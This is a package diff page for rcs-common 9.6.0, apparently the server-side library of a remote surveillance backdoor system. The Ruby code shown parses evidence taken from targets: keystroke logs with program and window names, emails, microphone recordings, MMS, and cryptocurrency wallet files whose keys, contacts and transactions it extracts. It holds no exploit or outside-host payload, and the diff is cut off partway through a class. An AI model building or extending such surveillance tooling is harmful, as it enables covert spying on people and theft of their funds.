rcs-common 9.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,24 @@
1
+
2
+ require 'rcs-common/evidence/common'
3
+
4
+ module RCS
5
+
6
+ module InfoEvidence
7
+ def content
8
+ "(ruby) Backdoor started.".to_utf16le_binary
9
+ end
10
+
11
+ def generate_content
12
+ [ content ]
13
+ end
14
+
15
+ def decode_content(common_info, chunks)
16
+ info = Hash[common_info]
17
+ info[:data] = Hash.new if info[:data].nil?
18
+ info[:data][:content] = chunks.first.utf16le_to_utf8
19
+ yield info if block_given?
20
+ :delete_raw
21
+ end
22
+ end
23
+
24
+ end # RCS::
@@ -0,0 +1,84 @@
1
+ # encoding: utf-8
2
+
3
+ require 'rcs-common/trace'
4
+ require 'rcs-common/evidence/common'
5
+
6
+ module RCS
7
+
8
+ module KeylogEvidence
9
+ extend RCS::Tracer
10
+
11
+ ELEM_DELIMITER = 0xABADC0DE
12
+ KEYSTROKES = ["привет мир", "こんにちは世界", "Hello world!", "Ciao mondo!"]
13
+
14
+ def content
15
+ proc_name = ["ruby", "python", "go", "javascript", "c++", "java"].sample.to_utf16le_binary_null
16
+ window_name = ["Ruby Backdoor!", "Python Backdoor!", "Go Backdoor!", "Javascript Backdoor!", "C++ Backdoor!", "Java Backdoor!"].sample.to_utf16le_binary_null
17
+ content = StringIO.new
18
+ t = Time.now.getutc
19
+ content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
20
+ content.write proc_name
21
+ content.write window_name
22
+ content.write [ ELEM_DELIMITER ].pack('L')
23
+ keystrokes = KEYSTROKES.sample.to_utf16le_binary_null
24
+ content.write keystrokes
25
+ content.string
26
+ end
27
+
28
+ def generate_content
29
+ ret = Array.new
30
+ # insert first two bytes to null terminate the string
31
+ ret << [0].pack('S') + content()
32
+ 10.rand_times { ret << content() }
33
+ ret
34
+ end
35
+
36
+ def decode_content(common_info, chunks)
37
+
38
+ stream = StringIO.new chunks.join
39
+ stream.read 2 # first 2 bytes of null termination (Naga weirdness ...)
40
+
41
+ until stream.eof?
42
+
43
+ tm = stream.read 36
44
+ timestamp = tm.unpack('l*')
45
+
46
+ #puts "STREAM POS #{stream.pos} SIZE #{stream.size}"
47
+ #puts "TIMESTAMP #{timestamp.inspect} OBJECT_ID #{self.object_id}"
48
+
49
+ info = Hash[common_info]
50
+ info[:da] = Time.gm(*timestamp, 0)
51
+ info[:data] = Hash.new if info[:data].nil?
52
+ info[:data][:program] = ''
53
+ info[:data][:window] = ''
54
+ info[:data][:content] = ''
55
+
56
+ process_name = stream.read_utf16le_string
57
+ #trace :debug, "PROGRAM NAME UTF-16LE #{process_name}"
58
+ info[:data][:program] = process_name.utf16le_to_utf8 unless process_name.nil?
59
+
60
+ #trace :debug, "PROGRAM NAME UTF-8 #{info[:data][:program]}"
61
+
62
+ window_name = stream.read_utf16le_string
63
+ info[:data][:window] = window_name.utf16le_to_utf8 unless window_name.nil?
64
+
65
+ #trace :debug, "WINDOW NAME #{info[:data][:window]}"
66
+
67
+ delim = stream.read(4).unpack("L*").first
68
+ raise EvidenceDeserializeError.new("Malformed KEYLOG (missing delimiter)") unless delim == ELEM_DELIMITER
69
+
70
+ #trace :debug, "DELIM #{delim.to_s(16)}"
71
+
72
+ keystrokes = stream.read_utf16le_string
73
+ #trace :debug, "KEYSTROKES UTF-16LE #{keystrokes}"
74
+ info[:data][:content] = keystrokes.utf16le_to_utf8 unless keystrokes.nil?
75
+
76
+ #trace :debug, "KEYSTROKES UTF-8 #{info[:data][:content]}"
77
+
78
+ yield info if block_given?
79
+ end
80
+ :delete_raw
81
+ end
82
+ end
83
+
84
+ end # ::RCS
@@ -0,0 +1,237 @@
1
+ # encoding: UTF-8
2
+
3
+ require 'rcs-common/evidence/common'
4
+ require 'mail'
5
+ require 'cgi'
6
+
7
+ module RCS
8
+ module MailEvidence
9
+
10
+ MAIL_VERSION = 2009070301
11
+ MAIL_VERSION2 = 2012030601
12
+
13
+ MAIL_INCOMING = 0x00000010
14
+ MAIL_DRAFT = 0x00000100
15
+
16
+ PROGRAM_GMAIL = 0x00000000
17
+ PROGRAM_BB = 0x00000001
18
+ PROGRAM_ANDROID = 0x00000002
19
+ PROGRAM_THUNDERBIRD = 0x00000003
20
+ PROGRAM_OUTLOOK = 0x00000004
21
+ PROGRAM_MAIL = 0x00000005
22
+ PROGRAM_YAHOO = 0x00000006
23
+
24
+ ADDRESSES = ['ciccio.pasticcio@google.com', 'billg@microsoft.com', 'john.doe@nasa.gov', 'mario.rossi@italy.it']
25
+ SUBJECTS = ['drugs', 'bust me!', 'police here']
26
+ BODIES = ["You're busted, dude.", "I'm a drug trafficker, send me to hang!", "I'll sell meth to kids. Stop me."]
27
+
28
+ ARABIC = <<-EOF
29
+
30
+ MIME-Version: 1.0
31
+ Received: by 10.64.33.143 with HTTP; Mon, 1 Jul 2013 03:11:15 -0700 (PDT)
32
+ Date: Mon, 1 Jul 2013 12:11:15 +0200
33
+ Delivered-To: jimmypage1337@gmail.com
34
+ Message-ID: <CALdP1Uy44nQ-1Pfj1Po+uoUKbe5JMGDr-ZhpoHRVVkNQdOOV5w@mail.gmail.com>
35
+ Subject: Test
36
+ From: Jimmy Page <jimmypage1337@gmail.com>
37
+ To: Jimmy Page <jimmypage1337@gmail.com>
38
+ Content-Type: multipart/alternative; boundary=14dae947395bec30d304e0707250
39
+
40
+ --14dae947395bec30d304e0707250
41
+ Content-Type: text/plain; charset=UTF-8
42
+ Content-Transfer-Encoding: base64
43
+
44
+ 2KrYtNi02LPZitiq2YXZhiDYqtmG2LTYp9iz2YbZiiDZh9i52LTYutiz2Yog2KfYqti02LPZitin
45
+ INmG2KrYtNiz2KfZitivDQrYtNiz2YXYqtmK2YYg2LTYs9mK2KrZhiDYtNmH2KTYudiz2YrZhNix
46
+ 2YbYqg0K2LHYs9ix2LPZitix2YrYsw0K
47
+ --14dae947395bec30d304e0707250
48
+ Content-Type: text/html; charset=UTF-8
49
+ Content-Transfer-Encoding: base64
50
+
51
+ PGRpdiBkaXI9Imx0ciI+PGRpdiBkaXI9InJ0bCI+2KrYtNi02LPZitiq2YXZhiDYqtmG2LTYp9iz
52
+ 2YbZiiDZh9i52LTYutiz2Yog2KfYqti02LPZitinINmG2KrYtNiz2KfZitivPGJyPjwvZGl2Pjxk
53
+ aXYgZGlyPSJydGwiPti02LPZhdiq2YrZhiDYtNiz2YrYqtmGINi02YfYpNi52LPZitmE2LHZhtiq
54
+ IDxicj7Ysdiz2LHYs9mK2LHZitizPGJyPjwvZGl2PjwvZGl2Pg0K
55
+ --14dae947395bec30d304e0707250--
56
+ EOF
57
+
58
+
59
+ def content
60
+ @email.to_s
61
+ end
62
+
63
+ def generate_content
64
+ [ content ]
65
+ end
66
+
67
+ def additional_header
68
+ binary = StringIO.new
69
+
70
+ @email = Mail.new do
71
+ from ADDRESSES.sample
72
+ to ADDRESSES.sample
73
+ subject SUBJECTS.sample
74
+ body BODIES.sample
75
+ end
76
+
77
+ #@email = ARABIC
78
+
79
+ ft_high, ft_low = Time.now.to_filetime
80
+ body = @email.to_s
81
+ add_header = [MAIL_VERSION2, 1 | MAIL_INCOMING, body.bytesize, ft_high, ft_low].pack("I*")
82
+ binary.write(add_header)
83
+ binary.write [[0,1,2].sample].pack('L')
84
+
85
+ binary.string
86
+ end
87
+
88
+ def decode_additional_header(data)
89
+ raise EvidenceDeserializeError.new("incomplete MAIL") if data.nil? or data.bytesize == 0
90
+
91
+ ret = Hash.new
92
+ ret[:data] = Hash.new
93
+
94
+ binary = StringIO.new data
95
+
96
+ # flags indica se abbiamo tutto il body o solo header
97
+ version, flags, size, ft_low, ft_high = binary.read(20).unpack('L*')
98
+
99
+ case version
100
+ when MAIL_VERSION
101
+ ret[:data][:program] = 'outlook'
102
+ when MAIL_VERSION2
103
+ program = binary.read(4).unpack('L').first
104
+
105
+ case program
106
+ when PROGRAM_GMAIL
107
+ ret[:data][:program] = 'gmail'
108
+ when PROGRAM_BB
109
+ ret[:data][:program] = 'blackberry'
110
+ when PROGRAM_ANDROID
111
+ ret[:data][:program] = 'android'
112
+ when PROGRAM_THUNDERBIRD
113
+ ret[:data][:program] = 'thunderbird'
114
+ when PROGRAM_OUTLOOK
115
+ ret[:data][:program] = 'outlook'
116
+ when PROGRAM_MAIL
117
+ ret[:data][:program] = 'mail'
118
+ when PROGRAM_YAHOO
119
+ ret[:data][:program] = 'yahoo'
120
+ else
121
+ ret[:data][:program] = 'unknown'
122
+ end
123
+ # direction of the mail
124
+ ret[:data][:incoming] = (flags & MAIL_INCOMING != 0) ? 1 : 0
125
+ ret[:data][:draft] = true if (flags & MAIL_DRAFT != 0)
126
+ else
127
+ raise EvidenceDeserializeError.new("invalid log version for MAIL")
128
+ end
129
+
130
+ #trace :debug, ret[:data].inspect
131
+
132
+ ret[:data][:size] = size
133
+ return ret
134
+ end
135
+
136
+ def decode_content(common_info, chunks)
137
+ info = Hash[common_info]
138
+ info[:data] ||= Hash.new
139
+ info[:data][:type] = :mail
140
+
141
+ # this is the raw content of the mail
142
+ # save it as is in the grid
143
+ eml = chunks.join
144
+
145
+ # special case for outlook (live) mail that are html encoded
146
+ eml = CGI.unescapeHTML(eml) if info[:data][:program].eql? 'outlook'
147
+
148
+ info[:grid_content] = eml
149
+
150
+ # parse the mail to extract information
151
+ m = Mail.read_from_string eml
152
+
153
+ #trace :debug, "MAIL: EML size: #{eml.size}"
154
+ #trace :debug, "MAIL: EML: #{eml}"
155
+ #trace :debug, "MAIL: From: #{m.from.inspect}"
156
+ #trace :debug, "MAIL: Rcpt: #{m.to.inspect}"
157
+ #trace :debug, "MAIL: CC: #{m.cc.inspect}"
158
+ #trace :debug, "MAIL: Subject: #{m.subject.inspect}"
159
+
160
+ info[:data][:from] = parse_address(m.from)
161
+ info[:data][:rcpt] = parse_address(m.to)
162
+ info[:data][:cc] = parse_address(m.cc)
163
+
164
+ if m.subject
165
+ info[:data][:subject] = m.subject.dup
166
+ info[:data][:subject].safe_utf8_encode_invalid
167
+ end
168
+
169
+ #trace :debug, "MAIL: multipart #{m.multipart?} parts size: #{m.parts.size}"
170
+ #trace :debug, "MAIL: parts #{m.parts.inspect}"
171
+ #trace :debug, "MAIL: body: #{m.body}"
172
+
173
+ # extract body from multipart mail
174
+ body = parse_multipart(m.parts) if m.multipart?
175
+
176
+ # if not multipart, take body
177
+ body ||= {}
178
+ body['text/plain'] ||= m.body.decoded.safe_utf8_encode unless m.body.nil?
179
+
180
+ #trace :debug, "MAIL: text/plain #{body['text/plain']}"
181
+ #trace :debug, "MAIL: text/html #{body['text/html']}"
182
+
183
+ if body.has_key? 'text/html'
184
+ info[:data][:body] = body['text/html']
185
+ else
186
+ info[:data][:body] = body['text/plain']
187
+ info[:data][:body] ||= 'Content of this mail cannot be decoded.'
188
+ end
189
+
190
+ #trace :debug, "MAIL: body: #{info[:data][:body]}"
191
+
192
+ info[:data][:attach] = m.attachments.length if m.attachments.length > 0
193
+
194
+ date = m.date.to_time unless m.date.nil?
195
+ date ||= Time.now
196
+ info[:data][:date] = date.getutc
197
+ info[:da] = date.getutc
198
+
199
+ info[:data][:date] = info[:data][:date].to_time if info[:data][:date].is_a? DateTime
200
+ info[:da] = info[:da].to_time if info[:da].is_a? DateTime
201
+
202
+ yield info if block_given?
203
+ :delete_raw
204
+ end
205
+
206
+ def parse_multipart(parts)
207
+ content_types = parts.map { |p| p.content_type.split(';')[0] }
208
+ body = {}
209
+ content_types.each_with_index do |ct, i|
210
+ if parts[i].multipart?
211
+ body = parse_multipart(parts[i].parts)
212
+ else
213
+ body[ct] = parts[i].body.decoded.safe_utf8_encode
214
+ end
215
+ end
216
+ body
217
+ end
218
+
219
+ def parse_address(addresses)
220
+ return "" if addresses.nil?
221
+
222
+ address = ''
223
+
224
+ # it's already a string
225
+ address = addresses if addresses.is_a? String
226
+
227
+ # join the array of multiple addresses
228
+ if addresses.is_a? Array
229
+ address = addresses.join(", ")
230
+ end
231
+
232
+ address.safe_utf8_encode
233
+ end
234
+
235
+ end # ::Mail
236
+
237
+ end # ::RCS
@@ -0,0 +1,39 @@
1
+ require_relative 'common'
2
+ require 'rcs-common/serializer'
3
+
4
+ module RCS
5
+ module MicEvidence
6
+
7
+ MIC_LOG_VERSION = 2008121901
8
+
9
+ def decode_additional_header(data)
10
+
11
+ raise EvidenceDeserializeError.new("incomplete evidence") if data.nil? or data.bytesize == 0
12
+
13
+ stream = StringIO.new data
14
+
15
+ ret = Hash.new
16
+ ret[:data] = Hash.new
17
+
18
+ version = read_uint32 stream
19
+ raise EvidenceDeserializeError.new("invalid log version for voice call") unless version == MIC_LOG_VERSION
20
+
21
+ ret[:data][:sample_rate] = read_uint32 stream
22
+ low, high = stream.read(8).unpack 'V2'
23
+ ret[:data][:mic_id] = Time.from_filetime high, low
24
+
25
+ return ret
26
+ end
27
+
28
+ def decode_content(common_info, chunks)
29
+ stream = StringIO.new chunks.join
30
+
31
+ info = Hash[common_info]
32
+ info[:data] ||= Hash.new
33
+
34
+ info[:data][:grid_content] = chunks.join
35
+ yield info if block_given?
36
+ :keep_raw
37
+ end
38
+ end # ::CalendarEvidence
39
+ end # ::RCS
@@ -0,0 +1,36 @@
1
+ require_relative 'common'
2
+ require 'rcs-common/serializer'
3
+
4
+ module RCS
5
+ module MmsEvidence
6
+ def content
7
+ raise "Not implemented!"
8
+ end
9
+
10
+ def generate_content
11
+ raise "Not implemented!"
12
+ end
13
+
14
+ def decode_content(common_info, chunks)
15
+
16
+ info = Hash[common_info]
17
+ info[:data] ||= Hash.new
18
+ info[:data][:type] = :mms
19
+
20
+ stream = StringIO.new chunks.join
21
+ @mms = MAPISerializer.new.unserialize stream
22
+
23
+ info[:da] = @mms.delivery_time
24
+
25
+ info[:data][:from] = @mms.fields[:from].delete("\x00")
26
+ info[:data][:rcpt] = @mms.fields[:rcpt].delete("\x00")
27
+
28
+ info[:data][:subject] = @mms.fields[:subject]
29
+ info[:data][:content] = @mms.fields[:text_body]
30
+ info[:data][:incoming] = @mms.flags
31
+
32
+ yield info if block_given?
33
+ :keep_raw
34
+ end
35
+ end # ::MmsEvidence
36
+ end # ::RCS
@@ -0,0 +1,676 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ require 'digest'
4
+ require 'sbdb'
5
+ require 'bdb'
6
+ require 'set'
7
+
8
+ module RCS
9
+
10
+ module MoneyEvidence
11
+
12
+ MONEY_VERSION = 2014010101
13
+
14
+ TYPES = {:bitcoin => 0x00,
15
+ :litecoin => 0x30,
16
+ :feathercoin => 0x0E,
17
+ :darkcoin => 0x6F,
18
+ :namecoin => 0x34}
19
+
20
+ PROGRAM_BITCOIN = {:bitcoin_qt => 0x00}
21
+ PROGRAM_LITECOIN = {:litecoin_qt => 0x00}
22
+ PROGRAM_DARKCOIN = {:darkcoin => 0x6F}
23
+ PROGRAM_FEATHERCOIN = {:feathercoin_qt => 0x00}
24
+ PROGRAM_NAMECOIN = {:namecoin_qt => 0x00}
25
+
26
+ def content
27
+ path = File.join(File.dirname(__FILE__), 'content/coin/wallet_lite.dat')
28
+ File.open(path, 'rb') {|f| f.read }
29
+ end
30
+
31
+ def generate_content
32
+ [ content ]
33
+ end
34
+
35
+ def additional_header
36
+ file_name = '~/Library/Application Support/Litecoin/wallet.dat'.to_utf16le_binary
37
+ header = StringIO.new
38
+ header.write [MONEY_VERSION].pack("I")
39
+ header.write [TYPES[:litecoin]].pack("I")
40
+ header.write [0].pack("I")
41
+ header.write [file_name.size].pack("I")
42
+ header.write file_name
43
+
44
+ header.string
45
+ end
46
+
47
+ def decode_additional_header(data)
48
+ raise EvidenceDeserializeError.new("incomplete MONEY") if data.nil? or data.bytesize == 0
49
+
50
+ binary = StringIO.new data
51
+
52
+ version, type, program, file_name_len = binary.read(16).unpack("I*")
53
+ raise EvidenceDeserializeError.new("invalid log version for MONEY") unless version == MONEY_VERSION
54
+
55
+ ret = Hash.new
56
+ ret[:data] = Hash.new
57
+ ret[:data][:currency] = TYPES.invert[type]
58
+ ret[:data][:program] = eval("PROGRAM_#{ret[:data][:currency].to_s.upcase}").invert[program].to_s
59
+ ret[:data][:path] = binary.read(file_name_len).utf16le_to_utf8
60
+ return ret
61
+ end
62
+
63
+ def decode_content(common_info, chunks)
64
+ info = Hash[common_info]
65
+ info[:data] = Hash.new if info[:data].nil?
66
+
67
+ binary_wallet = chunks.join
68
+
69
+ info[:grid_content] = binary_wallet
70
+ info[:data][:size] = info[:grid_content].bytesize
71
+
72
+ # dump the wallet to a temporary file
73
+ temp = RCS::DB::Config.instance.temp(SecureRandom.urlsafe_base64(10))
74
+ File.open(temp, 'wb') {|d| d.write binary_wallet}
75
+
76
+ coin = info[:data][:currency]
77
+ # all the parsing is done here
78
+ cw = CoinWallet.new(temp, coin)
79
+
80
+ # remove temporary
81
+ FileUtils.rm_rf temp
82
+
83
+ trace :debug, "WALLET: #{info[:data][:currency]} #{cw.version} #{cw.encrypted?} #{cw.balance}"
84
+
85
+ info[:data][:type] = :wallet
86
+ info[:data][:version] = cw.version
87
+ info[:data][:encrypted] = cw.encrypted?
88
+ info[:data][:balance] = cw.balance
89
+ info[:data][:content] = ''
90
+ cw.keys.each do |k|
91
+ info[:data][:content] += "Name: #{k[:name]}\n Key: #{k[:address]}\n\n"
92
+ end
93
+
94
+ # output the first evidence that contains the whole wallet
95
+ yield info if block_given?
96
+
97
+ # output the addressbook entries
98
+ address_info = Hash[common_info]
99
+ address_info[:type] = :addressbook
100
+
101
+ cw.addressbook.each do |k|
102
+ trace :debug, "WALLET: address #{k.inspect}"
103
+ info = Hash[address_info]
104
+ info[:data] = {}
105
+ info[:data][:program] = coin
106
+ info[:data][:type] = :peer
107
+ info[:data][:name] = k[:name]
108
+ info[:data][:contact] = k[:address]
109
+ info[:data][:handle] = k[:address]
110
+ yield info if block_given?
111
+ end
112
+
113
+ cw.keys.each do |k|
114
+ trace :debug, "WALLET: key #{k.inspect}"
115
+ info = Hash[address_info]
116
+ info[:data] = {}
117
+ info[:data][:program] = coin
118
+ info[:data][:type] = :target
119
+ info[:data][:name] = k[:name]
120
+ info[:data][:contact] = k[:address]
121
+ info[:data][:handle] = k[:address]
122
+ yield info if block_given?
123
+ end
124
+
125
+ # output the transactions
126
+ cw.transactions.each do |tx|
127
+ trace :debug, "TX: #{tx[:from]} #{tx[:to]} #{tx[:versus]} #{tx[:amount]} #{tx[:id]}"
128
+ tx_info = Hash[common_info]
129
+ tx_info[:data] = Hash.new
130
+ tx_info[:data][:type] = :tx
131
+ tx_info[:da] = tx[:time]
132
+ tx_info[:data][:id] = tx[:id]
133
+ # TODO: implement multiple from address, for now we take only the first address
134
+ tx_info[:data][:from] = tx[:from].first
135
+ tx_info[:data][:rcpt] = tx[:to]
136
+ tx_info[:data][:currency] = coin
137
+ tx_info[:data][:amount] = tx[:amount]
138
+ tx_info[:data][:incoming] = (tx[:versus].eql? :in) ? 1 : 0
139
+ yield tx_info if block_given?
140
+ end
141
+
142
+ :delete_raw
143
+ end
144
+ end
145
+
146
+ module B58Encode
147
+ extend self
148
+
149
+ @@__b58chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
150
+ @@__b58base = @@__b58chars.bytesize
151
+
152
+ def self.encode(v)
153
+ # encode v, which is a string of bytes, to base58.
154
+
155
+ long_value = 0
156
+ v.chars.to_a.reverse.each_with_index do |c, i|
157
+ long_value += (256**i) * c.ord
158
+ end
159
+
160
+ result = ''
161
+ while long_value >= @@__b58base do
162
+ div, mod = long_value.divmod(@@__b58base)
163
+ result = @@__b58chars[mod] + result
164
+ long_value = div
165
+ end
166
+ result = @@__b58chars[long_value] + result
167
+
168
+ nPad = 0
169
+ v.chars.to_a.each do |c|
170
+ c == "\0" ? nPad += 1 : break
171
+ end
172
+
173
+ return (@@__b58chars[0] * nPad) + result
174
+ end
175
+
176
+ def self.decode(v, length)
177
+ #decode v into a string of len bytes
178
+
179
+ long_value = 0
180
+ v.chars.to_a.reverse.each_with_index do |c, i|
181
+ long_value += @@__b58chars.index(c) * (@@__b58base**i)
182
+ end
183
+
184
+ result = ''
185
+ while long_value >= 256 do
186
+ div, mod = long_value.divmod(256)
187
+ result = mod.chr + result
188
+ long_value = div
189
+ end
190
+ result = long_value.chr + result
191
+
192
+ nPad = 0
193
+ v.chars.to_a.each do |c|
194
+ c == @@__b58chars[0] ? nPad += 1 : break
195
+ end
196
+ result = 0.chr * nPad + result
197
+
198
+ if !length.nil? and result.size != length
199
+ return nil
200
+ end
201
+
202
+ return result
203
+ end
204
+
205
+ def hash_160(public_key)
206
+ h1 = Digest::SHA256.new.digest(public_key)
207
+ h2 = Digest::RMD160.new.digest(h1)
208
+ return h2
209
+ end
210
+
211
+ def public_key_to_bc_address(public_key, version = 0)
212
+ h160 = hash_160(public_key)
213
+ return hash_160_to_bc_address(h160, version)
214
+ end
215
+
216
+ def hash_160_to_bc_address(h160, version = 0)
217
+ vh160 = version.chr + h160
218
+ h3 = Digest::SHA256.new.digest(Digest::SHA256.new.digest(vh160))
219
+ addr = vh160 + h3[0..3]
220
+ return self.encode(addr)
221
+ end
222
+
223
+ def bc_address_to_hash_160(addr)
224
+ bytes = self.decode(addr, 25)
225
+ return bytes[1..20]
226
+ end
227
+ end
228
+
229
+ class BCDataStream
230
+
231
+ attr_reader :read_cursor
232
+ attr_reader :buffer
233
+
234
+ def initialize(string)
235
+ @buffer = string
236
+ @read_cursor = 0
237
+ end
238
+
239
+ def read_string
240
+ # Strings are encoded depending on length:
241
+ # 0 to 252 : 1-byte-length followed by bytes (if any)
242
+ # 253 to 65,535 : byte'253' 2-byte-length followed by bytes
243
+ # 65,536 to 4,294,967,295 : byte '254' 4-byte-length followed by bytes
244
+ # greater than 4,294,967,295 : byte '255' 8-byte-length followed by bytes of string
245
+
246
+ if @buffer.eql? nil
247
+ raise "not initialized"
248
+ end
249
+
250
+ begin
251
+ length = self.read_compact_size
252
+ rescue Exception => e
253
+ raise "attempt to read past end of buffer: #{e.message}"
254
+ end
255
+
256
+ return self.read_bytes(length)
257
+ end
258
+
259
+ def read_uint32; return _read_num('L', 4); end
260
+ def read_int32; return _read_num('l', 4); end
261
+ def read_uint64; return _read_num('Q', 8); end
262
+ def read_int64; return _read_num('q', 8); end
263
+ def read_boolean; return _read_num('c', 1) == 1; end
264
+
265
+ def read_bytes(length)
266
+ result = @buffer[@read_cursor..@read_cursor+length-1]
267
+ @read_cursor += length
268
+ return result
269
+ rescue Exception => e
270
+ raise "attempt to read past end of buffer: #{e.message}"
271
+ end
272
+
273
+ def read_compact_size
274
+ size = @buffer[@read_cursor].ord
275
+ @read_cursor += 1
276
+ if size == 253
277
+ size = _read_num('S', 2)
278
+ elsif size == 254
279
+ size = _read_num('I', 4)
280
+ elsif size == 255
281
+ size = _read_num('Q', 8)
282
+ end
283
+
284
+ return size
285
+ end
286
+
287
+ def _read_num(format, size)
288
+ val = @buffer[@read_cursor..@read_cursor+size].unpack(format).first
289
+ @read_cursor += size
290
+ return val
291
+ end
292
+
293
+ end
294
+
295
+ class CoinWallet
296
+
297
+ attr_reader :count, :version, :default_key, :kinds, :seed, :balance
298
+
299
+ def initialize(file, kind)
300
+ @seed = kind_to_value(kind)
301
+ @kinds = Set.new
302
+ @count = 0
303
+ @version = :unknown
304
+ @keys = []
305
+ @default_key = nil
306
+ @addressbook = []
307
+ @transactions = []
308
+ @encrypted = false
309
